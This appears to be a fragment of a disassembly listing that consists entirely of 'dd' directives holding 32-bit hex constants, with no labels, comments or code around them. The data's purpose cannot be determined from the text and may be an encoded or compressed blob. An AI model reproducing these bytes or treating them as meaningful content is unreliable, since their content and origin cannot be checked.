		dd 4886C255h, 7288525Bh, 2CBD98C2h, 0B78B0AB8h,	0E06D857Ah
		dd 0D89F6425h, 5D082070h, 8A3CD7B6h, 0D9C023E8h, 0CD1A173Fh
		dd 1EFCBC94h, 5BEE0092h, 0EA016A06h, 885CAF1h, 6E3AC95Dh
		dd 0EFD88A88h, 21840502h, 48129887h, 37ECEC4Bh,	0A9CE37C5h
		dd 86AC9257h, 0D78EE84Fh, 5A2964B4h, 0C97BF2F8h, 930604D8h
		dd 99ECCBCh, 0C754EF22h, 7F45B782h, 5AE57E2Ch, 0EC8A1974h
		dd 0CAAF0819h, 6E9D845Ah, 33DB1912h, 6F856583h,	0EB28B390h
		dd 9597066h, 70C380D3h,	4C5B40D4h, 0EA73CD1Ah, 697EBEBh
		dd 895BED1Eh, 0D483E244h, 0E550FABFh, 15E15F5Eh, 8118BAD2h
		dd 5C769C30h, 98F1E1E7h, 85580DA5h, 0A628248Ah,	0AE603C5h
		dd 0BB5F53E5h, 0A811938Dh, 6E78938Ch, 317DD2D2h, 544238FEh
		dd 67B8D6BEh, 7A2418A9h, 842FDE27h, 0F36F3B68h,	42BD4F7Ch
		dd 0C5A2E913h, 873985EAh, 0F7009E83h, 0C821EADEh, 0F8F8E49Dh
		dd 978049C0h, 3C114900h, 5DE58101h, 614580Bh, 0F084014Dh
		dd 0FC30B16Dh, 57F10CF5h, 7E1815A6h, 2C115117h,	4561B30Eh
		dd 0C2AA90E1h, 84571E20h, 8BBE54F6h, 0D0644A86h, 27AC6782h
		dd 8143E5B9h, 2A98BE06h, 0AA88ABC9h, 580276E0h,	5D1EB252h
		dd 47EA5FE0h, 990F2E6h,	289DDBA1h, 0D4BE020Ah, 5F6E021Bh
		dd 776CDEA2h, 0A95F8009h, 581C2635h, 9B2D1453h,	8712DD65h
		dd 0B1518A80h, 585CB87Eh, 732631C5h, 26A5C87Fh,	0D368E100h
		dd 0CCF6B55h, 0B3182448h, 2594EFA4h, 3E90E0A6h,	5AAF61BDh
		dd 0CF2D2078h, 5C49C076h, 53185C2Dh, 5B152868h,	88FB1D01h
		dd 25E94523h, 18F441D6h, 0E9426531h, 2DDC781Fh,	25F2545Fh
		dd 0E71D66F6h, 2004AF3Fh, 44ED15A8h, 0E94EC4C8h, 0F9AD9583h
		dd 0E649DF69h, 443455D4h, 499449E9h, 0F7F3030Ah, 4E8E8348h
		dd 155BDCF4h, 0C4168368h, 810EC524h, 98D27AB8h,	34802EE6h
		dd 171FD72Dh, 40487483h, 0E8E9B074h, 0C275290Eh, 7605BB5Bh
		dd 0F304E789h, 0E013ABB1h, 3E46D889h, 1255AA04h, 0AEF1832Dh
		dd 0CF010D12h, 0F086BEA9h, 4AA2AFF6h, 0FD264A55h, 0C5F78A12h
		dd 264480A1h, 4EE91750h, 0C09D2E97h, 43682D6Fh,	10E167D1h
		dd 965F349h, 62E380F7h,	0EEB85773h, 3668F09h, 0D2BD561h
		dd 0C60506F0h, 0AE43B92h, 84650BEh, 4F29B34Ah, 0A85E81A8h
		dd 5E44A59Ch, 97BAF9F6h, 55684105h, 0EEF23A71h,	1007C484h
		dd 7ABC51CAh, 0DE1404A3h, 9DEA22Dh, 0EFFE0F39h,	4B7D0166h
		dd 5DF22855h, 49FD6815h, 5B0814F2h, 0E4BE488Dh,	0E9C358ECh
		dd 2A1E9E31h, 7C535E5Dh, 0CE3A67C9h, 85B37F45h,	179DC52Fh
		dd 4492215Ch, 3B96918h,	4A871999h, 0A158E14Dh, 0B24DB6Bh
		dd 0D66659E9h, 0BA665237h, 2F84794Eh, 28CB2DEEh, 0A7EE27ACh
		dd 8A2BCABDh, 8B25096Bh, 589F04DAh, 46C42AACh, 8463A887h
		dd 94CCB90Ah, 0D4F6C755h, 0BD25017Bh, 290B92D8h, 5EC745F0h
		dd 6BDC98C4h, 0B8D551Fh, 284B1497h, 9DBCE45Ch, 6EB006CFh
		dd 4FB30E43h, 6200F855h, 0D6510706h, 9F56A43h, 0DFAB5F1Fh
		dd 9DE275B0h, 67946182h, 6E7D8205h, 0F67AB400h,	0DC789FD4h
		dd 792CC2Ah, 70ACC44Ah,	0EB69E90Ah, 0B80245D1h,	5D84A289h
		dd 6B2FF506h, 94BF7BA4h, 88888055h, 2FD31332h, 0CD61C047h
		dd 26C1D02Ch, 6752463Dh, 16F6B820h, 0BA305D5Ch,	62081850h
		dd 2A064EAh, 0E240D101h, 291809C9h, 270E5A4Ch, 0B3BD26BAh
		dd 0FD59092Fh, 15DF1BABh, 0F9E716B3h, 5C2D2791h, 283BA9Fh
		dd 0E9723213h, 2AF4E1D4h, 53A28FA3h, 0A873E755h, 0C8F9B7BCh
		dd 5740FDE8h, 0B197D9E9h, 0B6F5629Dh, 57775D48h, 0F22F6681h
		dd 724D1A64h, 2B06FB14h, 6D892D6h, 5F981C56h, 755DEB04h
		dd 64D52262h, 8A4FA1A2h, 0C9E90BCFh, 208DE693h,	594EDC32h
		dd 418472E2h, 77050963h, 0AA68DF21h, 81302B74h,	0A09E07A8h
		dd 7D3F3A5h, 5597661h, 79E6F248h, 6F69E8C1h, 0DD68FA21h
		dd 93CE443Bh, 0D03005BEh, 0C5288203h, 80E59958h, 0E22A62D5h
		dd 872CCBCEh, 669909A1h, 0C20C20F8h, 7F685C09h,	2FB4B03Bh
		dd 3E300B34h, 71A1C1E9h, 2105E1C0h, 8802E60Ah, 53845F11h
		dd 0D3310056h, 2A68D2F7h, 0B576206Fh, 7827C05Ah, 0B59764ECh
		dd 2DFC0EE6h, 0FE2D909Eh, 5CA0566Ch, 0F8AC8A16h, 5E6796F2h
		dd 6E77AD13h, 1A135DCBh
		dd 36AAA3EEh, 48E99059h, 0BE5DBB79h, 2E904DC0h,	0ED137F61h
		dd 7B6BE76Ah, 5B54565Dh, 82B530B8h, 0E766DC21h,	39B289F0h
		dd 5A685E0Bh, 0F1811B6Eh, 0CBAFB56Bh, 0D3270852h, 7D3A9A96h
		dd 0AFA0C796h, 2624354Eh, 4A187C4Bh, 4A0EE90Dh,	0E0C48905h
		dd 0E1C755D7h, 0CF85306Ah, 0E84F14BCh, 8FEEE590h, 0E955099Ah
		dd 2DCA20BCh, 0B73332A0h, 5006378h, 0C4A6FCFBh,	558C789h
		dd 5A0191BBh, 6488BB4Fh, 0FE0D25E9h, 256F0174h,	0AC3482F6h
		dd 1956A48Bh, 0B4D9C44Bh, 0D6404026h, 0A2E34B88h, 1CCB9E02h
		dd 30741187h, 0F928126Fh, 5AF8E63Bh, 579842EEh,	197D9068h
		dd 9B745FD3h, 659E32E9h, 0E5555B50h, 2550262Ah,	0CABAF780h
		dd 7160C403h, 0CC51DC74h, 91A3989Fh, 0F923AE4h,	0DE0AFDFDh
		dd 96561ED7h, 830713CAh, 0D02A7124h, 55589DCAh,	3AFC5F5Bh
		dd 74A52C60h, 0E9186477h, 0F34303B7h, 7BB1F469h, 89D627A9h
		dd 48DDEC39h, 9440DF93h, 0EA803E59h, 3E1BF8DBh,	0C011A5D7h
		dd 0FDC1FEA0h, 72FBB4E3h, 0C87E1C1Fh, 4C2D7F3Ah, 64705C12h
		dd 7840BB7Eh, 0C1685556h, 6D343E4Bh, 0E2798C95h, 0BA92D33Bh
		dd 0E882565Ah, 547D10A9h, 0EA3E0156h, 0F8EC4712h, 0D50B9EF6h
		dd 2BDB1080h, 325B60h, 266CD4Ah, 89978B12h, 2700F68Ch
		dd 4AEB79DCh, 7FBB04BCh, 0C02FBBB9h, 8140FDF6h,	5CE0B2F1h
		dd 0AF17E3DFh, 0C5B1A3F3h, 0D892E33Ch, 700A60CBh, 799E001Bh
		dd 89F7814Fh, 606C9F19h, 522C8D5Ah, 9C10BF6Bh, 0BE561CF6h
		dd 17AA5535h, 85C7EC44h, 8A5EB9E9h, 0BF2013FBh,	21C1162h
		dd 0C6052E3h, 6B201FD0h, 0C571653h, 0FD070F15h,	0A7358856h
		dd 7D24F8FAh, 59077D4Eh, 1A3C8E5Ah, 73ED023Fh, 5EF7010Ch
		dd 42439A7Fh, 9FF1D82Eh, 16ACDF7Bh, 0AF61FE25h,	0B2925460h
		dd 0E9E72BCEh, 428FCA7Bh, 0A6395666h, 6EAA43AEh, 58C62D0Bh
		dd 0F72FF705h, 0D9D07AA7h, 5F67C8DEh, 0CAF927F3h, 0E69D85D3h
		dd 0A8DDF6B5h, 5D0E38D3h, 4861A6CFh, 51ABD0D1h,	0EF5D05A7h
		dd 0C2239805h, 2B94AC0Bh, 54DC741Dh, 0C468BAC2h, 2F5F5912h
		dd 66DA067Ch, 7271BDC7h, 866256C9h, 0F5B542E9h,	0DB5AEE77h
		dd 4F666B0Fh, 52F0E432h, 92FA9C93h, 2DD65BD0h, 5AD73D22h
		dd 596A41D5h, 6252EBFh,	0B2A79BC3h, 18D582A5h, 807A29A8h
		dd 435B0548h, 0E85F5FF8h, 21A34763h, 47F31702h,	15E9569Ah
		dd 0EF18D2C3h, 41FB62DFh, 8F51A07h, 258FF24h, 1525ED81h
		dd 0E1F42676h, 9E9508A0h, 80EC9FB9h, 0FE978C94h, 0A96B1492h
		dd 89E5385h, 5A156078h,	51CE1C87h, 0EF57F5DDh, 68265F04h
		dd 0EA6275EFh, 0A64EE32Fh, 0A1FC9222h, 5478E9F4h, 525A1274h
		dd 144E95E6h, 611FDA2Ch, 0AD43120Eh, 5DEB1AD4h,	578A0B13h
		dd 0BE9E8A1h, 5B903D9Eh, 0A04F8BFDh, 924B68B0h,	6C727AD1h
		dd 49BB0D81h, 0EC2CC64Ch, 0B39BEE22h, 28F17E08h, 0C5462D7Dh
		dd 0E80887F3h, 5C6800B7h, 587A141Ah, 0BD04E398h, 3EC3136Eh
		dd 98454F85h, 3E82B652h, 0C0DDD491h, 23B26D22h,	257CF997h
		dd 2661585Eh, 77B315Eh,	243E8FFCh, 0DB94821Fh, 0F6C1B700h
		dd 0EF8016DFh, 0C1F3A1EDh, 0D4F63FC8h, 0C0277710h, 7CE9C6B5h
		dd 41D9B985h, 719D615Ch, 8100EE44h, 301137F2h, 0D40C2D25h
		dd 343AF81Fh, 18E6A7E9h, 82E35495h, 0E8CC1F5h, 0F242373Eh
		dd 6455A4F5h, 0CC6B0982h, 0BB586C6Eh, 4FD65B20h, 84D2B85Ch
		dd 28008795h, 0E2885AF4h, 0A1C16C97h, 7625451h,	2B5CDD05h
		dd 0A88CC013h, 38607E47h, 0E119770Ch, 3FE6F863h, 72D3E9Ch
		dd 38066170h, 88E9B9D8h, 68530499h, 821F3448h, 0EE4D2FDh
		dd 0F297C15Fh, 86B801B4h, 0C6C1AC4Eh, 0BFBD9FFEh, 783DF0C8h
		dd 0EC29AB25h, 0D4C8BD4Bh, 45B8E2C1h, 82E1F23Eh, 44E99AB7h
		dd 0E01C5F72h, 89B95121h, 347F6725h, 0AA582F01h, 2C204E4Bh
		dd 0D6893F98h, 0A7DF2415h, 595AF009h, 76236D9h,	0C2E65D0Eh
		dd 0AEE91D1Ah, 29475547h, 2D20F02Dh, 2667503Bh,	67CE2D89h
		dd 87123F60h, 0BA7588D4h, 3769200Bh, 3D68422h, 0B07FE200h
		dd 45B05019h, 7232A309h, 68A68F4Ch, 0C1830B78h,	0C0D1C005h
		dd 0A11D8D41h, 4D81B24Ah, 0B904C950h, 5B900188h, 83593C0Dh
		dd 80995FDEh, 0FEC5566h, 0AB64B9B6h, 9CF7C27Ch,	6856B809h
		dd 94105317h, 0CBEEBA2Ch, 0CE9D9C8h, 0E83FB269h, 8AEC045Dh
		dd 0A360CAC8h, 884D6C94h, 0BF07F6C1h, 0C361CB1Eh, 1E8F184h
		dd 5B5729BFh, 295F833Ch, 0DF4F6027h, 776E214h, 3A40197h
		dd 0D129573Bh, 0C1DCD23Eh, 685E0B80h, 59B52773h, 16DB6831h
		dd 0EB61AEA3h, 0B2F0C8AFh, 0CA2497ABh, 0DA28EA37h, 0F6C42FE9h
		dd 5F51287Ch, 3DADE911h, 0CDD24152h, 0D440D659h, 0BC773F8h
		dd 2DF1D55Dh, 9970C1Bh,	0E34DFE45h, 8BF0F05h, 7A36E98Bh
		dd 68AA3857h, 0C94064A2h, 0F5814096h, 0B5047377h, 7C048EF0h
		dd 1DAA4F3h, 0BE3A44BCh, 7B4C4282h, 0E2FFDEF7h,	234CF56Ah
		dd 4B601C30h, 3B54F3E3h, 7075533Eh, 21409A1h, 24F5DA89h
		dd 8AA0B5BDh, 80CE17FEh, 40470EC6h, 625A31F0h, 0D840E6D1h
		dd 60CD7B8Dh, 0DA930C2Eh, 0CDB091FDh, 9159E240h, 0B88CE2F4h
		dd 94FF2D05h, 674481BAh, 0A30304CAh, 0D71513EAh, 0BB63400Bh
		dd 0EC6F1347h, 7709FE03h, 244EF653h, 4AA99060h,	8E209CE1h
		dd 771C1FC1h, 0BB48886Fh, 550EDFA8h, 45408668h,	0A4005D20h
		dd 2A825AEDh, 0D5E92C4Dh, 7A688518h, 2505B924h,	0F0FA0B7h
		dd 97A8BAB4h, 8975C60Bh, 33BB8039h, 0E535211Bh,	2C112A8h
		dd 6C8E147Ah, 45DFF501h, 0AC2E2CC0h, 0EEB61412h, 0B70FF687h
		dd 0DCE3B628h, 0E2F89BDh, 7D78119Eh, 0C78825D9h, 7F104BF4h
		dd 0BE8C107h, 0AB684331h, 0A5C98DEDh, 169A9479h, 0F874B768h
		dd 0EFEAC4A2h, 3405BA14h, 23AD566h, 347AEC1h, 0B2B91BC0h
		dd 0B15123C2h, 1C02DDC1h, 5709F8DBh, 4D9575B0h,	7D9392B7h
		dd 59278A4Fh, 94E76477h, 0C19CAA79h, 5859C969h,	3E435B0Fh
		dd 4E0402B0h, 862EE376h, 0AB6D1EAh, 58998FB4h, 800300C0h
		dd 0B728B7F1h, 7BB81F65h, 5316AFECh, 0BAFD5B3h,	61A1EB09h
		dd 3E715A68h, 9A2D82F3h, 0FC5E9904h, 0E0812451h, 7EE2898Bh
		dd 1BCC585Fh, 9A3C8324h, 0F0C0435h, 5EE915C8h, 0AC6F855Ch
		dd 0DBF7C057h, 7106BF57h, 4A19017h, 34259BE7h, 0C78CFE64h
		dd 94C27E9h, 68213A72h,	0A65A149Dh, 17EB6B86h, 2988DF5Ch
		dd 5E96AD7Bh, 7A0CD65Fh, 20E178Fh, 6858C730h, 0B6EC5D06h
		dd 0D5F66414h, 229F25AEh, 826F24h, 8008EAC0h, 0C2E65DE6h
		dd 2A7A5AB7h, 649713E9h, 6788C5Fh, 7504D7F7h, 17440581h
		dd 0AE29241Eh, 0F85E098Bh, 51E779B0h, 78E2967Ah, 56D2B75Bh
		dd 93E57650h, 471A364h,	15BF2F7Eh, 80C084BBh, 5E1D6855h
		dd 30C91F51h, 0F6806474h, 15C195DAh, 0D63BC3CAh, 49F21D04h
		dd 82286B09h, 4F8168Dh,	0CC1AA453h, 0A05C8C40h,	0B973DE09h
		dd 15FCA50Bh, 0E10913E8h, 0C1941B9Bh, 0E22B6390h, 0F02D89F2h
		dd 88E5BFAEh, 7ECC3609h, 86F59C3Ah, 0C65C344h, 0F24F80Fh
		dd 50E5817Eh, 2320E107h, 402601EDh, 0E929EABAh,	4DB17E5Dh
		dd 65C83540h, 21460A25h, 2905FFEh, 7D222E99h, 0F4FA10FDh
		dd 9023096Ah, 89A0D2E9h, 4E15542Dh, 5A41D61h, 8A20261Ah
		dd 1459658h, 0E97B9451h, 0F00B7FF0h, 53A7F659h,	0A551D3F9h
		dd 1DED561Eh, 37339268h, 0A33680A0h, 0A09B2878h, 4088E909h
		dd 0B1555A14h, 0B19488DDh
		dd 5BD93105h, 0E61062E9h, 14FC5BDAh, 129E4B78h,	1575FF3Ah
		dd 16908EB0h, 0FE4D2B49h, 5BD86044h, 2981C8FAh,	0A58AA35Fh
		dd 0BFF0094Ah, 0F297E47Ah, 78EA0B15h, 12F50D16h, 0E9080153h
		dd 233FCC46h, 8DCA57C3h, 712D7176h, 9259C4CAh, 6BD1896Fh
		dd 0B923C0ADh, 313F1367h, 4D1E145Bh, 84820C20h,	0A0689321h
		dd 6A8C6F4Bh, 0CA505ABDh, 83F14BF4h, 0C8C0D06Ch, 170AA20h
		dd 1E5C2B5h, 0E5F2E908h, 0DFFDB32Fh, 72B141D2h,	5BB8F72Fh
		dd 13A721F0h, 76DF227h,	343B016Eh, 53A6010Fh, 0C8E4455h
		dd 21487031h, 1A477E00h, 5EB6E979h, 0B3E12078h,	0F32D80FBh
		dd 14EFDEDAh, 7932D2DBh, 9D4E523h, 814F9958h, 0EF423029h
		dd 1E038802h, 41C35A23h, 1E654AABh, 10F69A7Bh, 364CD0ACh
		dd 0E2C55F12h, 0B5BD4FF1h, 4010C948h, 1FDF40A6h, 0CAE2065Ah
		dd 3212BFDDh, 0D366E26Fh, 0DEAE790Bh, 0D6D16B10h, 9C00F712h
		dd 1A07C3B9h, 9545B06Dh, 29BA7160h, 0F8A7C051h,	47731C3Ch
		dd 0A3850297h, 31C555Eh, 40DBF897h, 1A0FBF7Dh, 4F6B4E4Ch
		dd 0FD149AFBh, 0ABBE06A6h, 2CC8BB7h, 57A4343h, 838B0846h
		dd 9246804h, 83064284h,	5AB38A8Fh, 70D5BCD6h, 4C3FEB39h
		dd 93B53079h, 95AC9C1h,	0CE01B6F4h, 9A0D9190h, 0FDBEC6ACh
		dd 7642C152h, 0F4D26194h, 0E0714607h, 0A5F2600Bh, 0D44B1348h
		dd 0AC481DFCh, 3153CA04h, 86E1E01Fh, 6CB71E14h,	0CEED4ACBh
		dd 0B025E916h, 410E0497h, 922CF028h, 13CAA608h,	0D64BEA2Dh
		dd 31A6705Eh, 0EEC7F1F7h, 7386C44Dh, 0D6A65D61h, 0C77FD57Fh
		dd 2EA9ED0Ah, 9FFE292Ch, 48F7E123h, 0C8EA4D00h,	2974B80Eh
		dd 8DAD0F2h, 0E317BD4Ch, 0D3B7FC48h, 2E853521h,	9F61E900h
		dd 0C5315C95h, 0C3D2C818h, 726841C2h, 1358EC28h, 45C4366h
		dd 0F498076h, 3AE91629h, 5FBC7981h, 0F16C5Bh, 2E8334BAh
		dd 0B46845E9h, 0AE63894Bh, 1EC4959Eh, 0B4F4B1A2h, 5FC89A21h
		dd 0EECD1358h, 50A7B85Fh, 0D7E91319h, 0DEC5FCB0h, 57BB11F0h
		dd 54190038h, 35438EBDh, 0DD0C01D0h, 7F7455E9h,	11F224C5h
		dd 2812686h, 89547ABh, 0CBF069D5h, 1A483000h, 63985464h
		dd 0C600D109h, 0D703ADF3h, 92208690h, 272D078Dh, 5169EF22h
		dd 307E092Ah, 9659B386h, 33EA85F9h, 7A5E9EAEh, 4DE8C44Bh
		dd 2DED9DB4h, 10354868h, 580060BAh, 0D64D692Dh,	5A9889BBh
		dd 5A806AEAh, 0B1E23A81h, 0BE3A4A1Ch, 0A9AD9392h, 75E8459h
		dd 0B5757B46h, 0D9F1F27Bh, 97A56894h, 82D12AAh,	763C6997h
		dd 7A49062Dh, 0D683098Dh, 8C0BDD1Ah, 0B61C927Ch, 21019ACEh
		dd 0E0B2E9C2h, 0B43B983Ah, 72895180h, 59CD1FD1h, 56FA0B5Ah
		dd 648A5F68h, 0CA7DA728h, 3282D13h, 0B53A01AAh,	3AC0698Ch
		dd 50226013h, 47E1FD09h, 70723D77h, 0B551E817h,	43B8D409h
		dd 2BBADC3Dh, 0FEF56B7Fh, 0A9792D68h, 617B5EE9h, 2BA554E9h
		dd 0E0C13190h, 98D8EA05h, 5371131Eh, 851EAC68h,	7825166h
		dd 8E1255ACh, 648ADB55h, 4BDCBE52h, 7AE62568h, 0AD2025C6h
		dd 0FC524BF7h, 0A120F92h, 0E2EA8548h, 47B7A840h, 3280CFFEh
		dd 0A206C9E7h, 1C1F0277h, 0EF3A5C9Bh, 73058B66h, 0D9DD87B7h
		dd 846FDAAh, 684D0A94h,	3910E6Ah, 202E1F60h, 94958CF1h
		dd 2C83E529h, 461F4DD5h, 37E8689h, 0FABD8416h, 0ECC87715h
		dd 141649EAh, 50FE6165h, 0CA5F08E7h, 91E91ABFh,	0D50E42AFh
		dd 6A0CE9ADh, 0C558F5D2h, 0FDDEA769h, 16E3740Eh, 4DC101ACh
		dd 2B623BE9h, 0BB1874E3h, 46683D3Ch, 30230855h,	0B28049EFh
		dd 31F995F1h, 5FA3A03Bh, 25FCB940h, 69A27559h, 0C004879Bh
		dd 0B1515FC0h, 3FE1ECE8h, 2BB98007h, 187DC192h,	0D92947A7h
		dd 515F5B16h, 3AEE2DFEh, 8C6CB983h, 0E29319E8h,	6C57B5EDh
		dd 0BDE325EEh, 79E91327h, 0FF5FBEC2h, 0DFF57590h, 7597CA2Ch
		dd 0C5A4A73Bh, 997BA73Fh, 750F6027h, 0FEB183B9h, 5F65E0C0h
		dd 5D012CB2h, 5E6D5638h, 4244F201h, 16642EAEh, 5590520Bh
		dd 4A6A0530h, 0E43CB047h, 9A9D4668h, 9555502Dh,	33A4B7DEh
		dd 36A29416h, 0BC2DABD2h, 9E2C462Bh, 0E0775583h, 7BC4A94Ah
		dd 207E7E8h, 0E48B63A4h, 9D36C2FBh, 0A71FE72Bh,	5C50E8F6h
		dd 31D49505h, 0EC0199A6h, 2DD80165h, 57820744h,	0A401097Ah
		dd 709B6A93h, 7040B145h, 1C42975Fh, 6B6D5155h, 0D84233DCh
		dd 40587C44h, 4CDA6802h, 96181B9Bh, 9BF57DFh, 31E80B34h
		dd 72CCED07h, 5041CE18h, 0E3E72B45h, 2502A65Eh,	0BBC118D1h
		dd 56FDDF38h, 0EE9DC4A3h, 6ED1C687h, 42F01CEBh,	6CA89503h
		dd 0BE021E8Fh, 0CACBD7BBh, 0CEA96631h, 0E7C12815h, 16C77B9Bh
		dd 0ED69FD80h, 53B5797Ch, 0E9D7837Ah, 570173F1h, 243A60C3h
		dd 0F13E4B05h, 0CB148547h, 0D5AFF95Eh, 330B3943h, 42A82795h
		dd 26C5F5DEh, 46711C3Fh, 0E3F65B38h, 0C263B296h, 6A47F3E9h
		dd 98FF430Eh, 5EF603E8h, 261DA8D8h, 0EC12B98Eh,	0F4557A8Ch
		dd 0EDA39F97h, 0E10243E7h, 173984E1h, 9840401Fh, 0BDE4721Dh
		dd 0F7093D02h, 4F88E9C0h, 5ED46880h, 4943761h, 25EA1220h
		dd 0C97E8756h, 44CF89F6h, 41B3F374h, 2304C74Ch,	459A3E7Eh
		dd 31D9625Dh, 410F5720h, 0B8906BC9h, 3B4A98CFh,	0B0796D9Eh
		dd 53651224h, 10AA5E31h, 3FAB4C93h, 213141BBh, 5BDC71D4h
		dd 5649C11Dh, 5A6679BEh, 4880D0C4h, 5CB12D42h, 0C907D66Bh
		dd 602FC173h, 6223ABCBh, 631B394Ch, 0D3255AB4h,	0C3110F7Eh
		dd 6E8932Ah, 0EA048719h, 8895D61h, 33A7DDE9h, 772B00BAh
		dd 0CA018176h, 0F482529h, 0F928D4E9h, 0C5B0E25Eh, 18E48EAFh
		dd 7E4A05FDh, 0FAD1F76Bh, 78C0B824h, 0BA2D0512h, 19593ED8h
		dd 0C4187D30h, 0A61F14FEh, 56EFD501h, 0E953C1B0h, 2E006BA4h
		dd 0E53C0C2Dh, 3A50581Bh, 5DDD2B18h, 5B0DCAEBh,	0ED291071h
		dd 87BF0805h, 0AE9995FDh, 4B66869Ch, 0B60D4401h, 0F0890242h
		dd 0A432575Eh, 0EA696085h, 5D21C039h, 3D2BA17Fh, 3AE90903h
		dd 0B89CDFC3h, 565147FCh, 0B1076D59h, 66024CF3h, 0FAB8607Fh
		dd 43BED31h, 124AA311h,	1926CCBFh, 0B7169FEFh, 10785CF8h
		dd 64A7B18h, 97F91BD8h,	0D64BDE7Eh, 0D5C722D4h,	0BF9C871Bh
		dd 4EE0FAC4h, 6940AB9h,	11E128AFh, 0F8F603E3h, 0B073BD47h
		dd 0E0130E6h, 0EE833534h, 0F158E9A4h, 2057D110h, 0E96E717h
		dd 0C7805144h, 48187E17h, 805E6E59h, 0AE56D113h, 2AF25076h
		dd 5CB53225h, 0DE1C0100h, 2B89B9FAh, 7F401BD9h,	80B07BF5h
		dd 2E74D8CBh, 1DE97F09h, 0F0D09A4Dh, 0A465B793h, 26E7D2A5h
		dd 0C2396345h, 66F70E68h, 0E6545AEEh, 21442400h, 0B66EE7A4h
		dd 7CC462D7h, 3A5B4416h, 0AB80064h, 6E4C70h, 2574CD2Dh
		dd 4C23541h, 0E6D2D926h, 0A0AAE904h, 5C024EAh, 0AC5B379Ch
		dd 9941A116h, 0CAE0B59h, 0E65552D3h, 86E9185Fh,	25C139FAh
		dd 34B8F01Fh, 0A808796Ch, 0CAB22550h, 0EF208EF2h, 80BD0577h
		dd 0AB62C201h, 6C53F201h, 929049D6h, 0D0507088h, 64AA65BFh
		dd 0BEFA6F5Dh, 6E46EE83h, 0C3F41BCh, 12D11702h,	0C6946D1Fh
		dd 140C6808h, 0B0A65916h, 0E89D9813h, 65A4C0CCh, 0C15320A3h
		dd 705DE028h, 74C47A33h, 685285D1h, 135532FCh, 82E6E915h
		dd 7AE047D5h, 742571F7h, 7DA6424Dh, 0D8F67842h,	645828E2h
		dd 163818D3h, 0B8C1BE45h, 40694712h, 0BC96B20h,	1244901Dh
		dd 0ACFBF2E9h, 0B8C7C4C4h, 4F048AABh, 95D6C7D8h, 0AC5BD685h
		dd 0D1BDFFDh, 12A854Dh
		dd 0A8329EB0h, 0B01F060Eh, 8FD89DA7h, 0C644A510h, 18E40408h
		dd 312A0320h, 4A104CCAh, 2B0888B8h, 0E66D084Fh,	283E900Ch
		dd 6E7411Bh, 0DD2008E2h, 0F91220ABh, 2830F331h,	89D3540h
		dd 0EF18F15Ah, 11299880h, 80C94418h, 2D80F80Eh,	5708C46Eh
		dd 79F204ECh, 7D218C0Ch, 406AC740h, 88FD1BF7h, 8BDAB48h
		dd 0F918B1A6h, 0C63FAD11h, 84E8E20h, 18F25531h,	0BB01825Eh
		dd 73E50120h, 889FE701h, 0CC28808h, 0BD201904h,	63266540h
		dd 4C33101Dh, 32C50822h, 0B9206A52h, 0DFBC80A3h, 202CC932h
		dd 0C198A662h, 51EB3129h, 0B87C1018h, 36B96208h, 3C560285h
		dd 20D67403h, 2A20A3D1h, 92B72034h, 803C831h, 2098A960h
		dd 0FEA4F10Bh, 892AE4ABh, 3B20C885h, 3DAC3170h,	1368E908h
		dd 422818D2h, 7AF1087Dh, 0FC515B81h, 30012E69h,	6DF4078Dh
		dd 44A2204h, 0F70599A1h, 48F04840h, 185B5608h, 1BE0290Ah
		dd 0EE5F18C4h, 0A770C04h, 0D4BD8018h, 90A851F4h, 10C67E4Ch
		dd 3108AE05h, 0C9188770h, 0BC088867h, 0F620878h, 0C0DDC08h
		dd 5430BA1Bh, 6B4FD8A8h, 3E3910C4h, 8894C00Ah, 0AD08585Dh
		dd 28D70868h, 852AE08h,	0E1086232h, 2AF50C65h, 87800471h
		dd 0AE98013h, 962308C6h, 98725448h, 0F659C4DEh,	7056066Ah
		dd 88433110h, 354A208h,	5B1110DBh, 0E5D129Eh, 8FB9C48h
		dd 908CD79h, 751C087Ah,	9473108h, 7026407Fh, 0F4310856h
		dd 7763185Ch, 0B9108F03h, 9A102BC1h, 791E1075h,	8C88DF24h
		dd 5938B95Bh, 3BB519C4h, 8072606h, 20480231h, 12014478h
		dd 0BD10914Dh, 0B919A31h, 2250018Bh, 6657407h, 40E9B853h
		dd 55402FC7h, 8156259h,	9002310Dh, 91EE0483h, 18DBC60h
		dd 9402200Eh, 8755B448h, 0C9EAC380h, 0A824B008h, 0B8909219h
		dd 25DA6448h, 0BB1510D3h, 0BB9962B4h, 88D50FD2h, 47E3310h
		dd 0E8FC9C60h, 3730A4C9h, 6F7649EFh, 39C78B1Eh,	3D8E10h
		dd 752C473Bh, 6813EB02h, 37A40E89h, 105A03Dh, 40018F44h
		dd 75C90B49h, 6718BF7h,	3DEA0C7h, 255995F0h, 1C0330Fh
		dd 304FB10Fh, 8FF42CA7h, 25A17425h, 0F47AFF74h,	0ACB30B7Fh
		dd 1CE26909h, 5512E9C0h, 0D7139897h, 0FE6AD60Eh, 0C986647h
		dd 96B5989h, 0CCC61E5Eh, 0CE918625h, 13299F11h,	2114D685h
		dd 8093EB2Fh, 0B9DDBE10h, 4A3105C2h, 3E91CDF0h,	0CFAAD4C4h
		dd 0E9500B6Ah, 59A02584h, 172FB201h, 7049F4h, 4110E79h
		dd 0DFCF4772h, 4489E7E0h, 0CFA0235Fh, 6B044EBCh, 0FDEAE953h
		dd 0EF5B35FEh, 3405B040h, 246B3E10h, 3B1F8F2Dh,	0C1C58992h
		dd 40014809h, 5D9ABD65h, 0ED904CE2h, 5A1A1B61h,	3BE0CA87h
		dd 1FA09FBAh, 535242CBh, 77CE1B7h, 5996413Eh, 7FADDE40h
		dd 101CDE0h, 1B2305D0h,	385A5287h, 55E982EFh, 0C1B09B03h
		dd 0C678ED93h, 0AE69CE98h, 0CEEE12D2h, 0E8E64B52h, 307DFC4Bh
		dd 0F75BB214h, 0F954CBDAh, 0C05738D7h, 80063BE4h, 20C7B33h
		dd 0FE9CECB3h, 0DED4AC1Ch, 0AB8C1049h, 6E2C331Bh, 0A72FA4C9h
		dd 0EF99BB60h, 21BBBEF5h, 6BCB29BCh, 0FAB44FE2h, 0E90C708Fh
		dd 0EE2F0DB8h, 1EEEAF4Ch, 0E2C25043h, 0F7FED713h, 99242582h
		dd 30AC4EDFh, 0EB3B43DAh, 89205820h, 0A7E0046h,	6A256E5Ch
		dd 73161662h, 69078635h, 1996E92Ch, 80590CDAh, 0EE0626F3h
		dd 2D21D1B7h, 5EFAE266h, 0BEEB45BDh, 5C46B2A5h,	0BE509B38h
		dd 6F679433h, 17E20967h, 0C6E30103h, 62CD4A7Ch,	0C32947Bh
